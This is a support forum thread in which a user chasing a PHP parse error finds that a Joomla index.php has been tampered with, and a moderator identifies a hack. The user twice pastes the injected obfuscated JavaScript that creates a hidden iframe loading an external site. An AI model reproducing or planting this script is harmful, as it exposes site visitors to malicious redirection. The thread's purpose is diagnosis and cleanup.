Forum HikaShop General Talk about HikaShop Parse error: syntax error, unexpected '
Bienvenue, Invité
Nom d'utilisateur: Mot de passe: Se souvenir de moi
  • Page:
  • 1

SUJET: Parse error: syntax error, unexpected '

Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23604

I have this , do you know what happens, Parse error: syntax error, unexpected '<' in ...index.php on line 89

thanks so much I really need help
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23607

  • nicolas
  • Portrait de nicolas
  • En ligne
  • Messages: 30639
  • Remerciements reçus 2558
  • MODERATOR
Please give the path of the file. There are tens of index.php files so it's not possible to know the problem without the full error message.
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23608

this is it

Parse error: syntax error, unexpected $end, expecting T_FUNCTION in /homepages/16/d282439184/htdocs/printover2/templates/rt_tachyon_j15/features/login.php on line 36
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23609

what I did was I delete the line 89 and now I get

Parse error: syntax error, unexpected $end, expecting T_FUNCTION in /homepages/16/d282439184/htdocs/printover2/templates/rt_tachyon_j15/features/login.php on line 36
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23610

here is the index.php with the line 89 , look bad?
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23611

I think I forgot the file
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23612

sorry I just trying to upload the file , but don't let me here is the last lines


// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
89 line echo JResponse::toString($mainframe->getCfg('gzip'));
<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://'; b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23613

  • nicolas
  • Portrait de nicolas
  • En ligne
  • Messages: 30639
  • Remerciements reçus 2558
  • MODERATOR
That's an error in your template tachyon from RocketTheme.
I'm afraid we can't help you as we don't know at all rockettheme templates. You should ask their support for help.
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23615

Nic I just found that almost all my sites are down and this the error , the back end is fine


Parse error: syntax error, unexpected '<' in /homepages/23/d293195893/htdocs/GE-Directory/index.php on line 89

then I found in line 89 something like this :

<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23617

  • nicolas
  • Portrait de nicolas
  • En ligne
  • Messages: 30639
  • Remerciements reçus 2558
  • MODERATOR
Looking at the javascript code on google, it looks like your websites might have been hacked:
www.google.co.uk/support/forum/p/Webmast...de0ceb03a46257&hl=en
L'administrateur à désactivé l'accès en écriture pour le public.

Re: Parse error: syntax error, unexpected ' il y a 1 an 10 mois #23621

thanks men , it was a ftp hack , wow I remove that line and update the template, thanks again.
L'administrateur à désactivé l'accès en écriture pour le public.
  • Page:
  • 1
Temps de génération de la page: 0.263 secondes

Follow hikashop on Twitter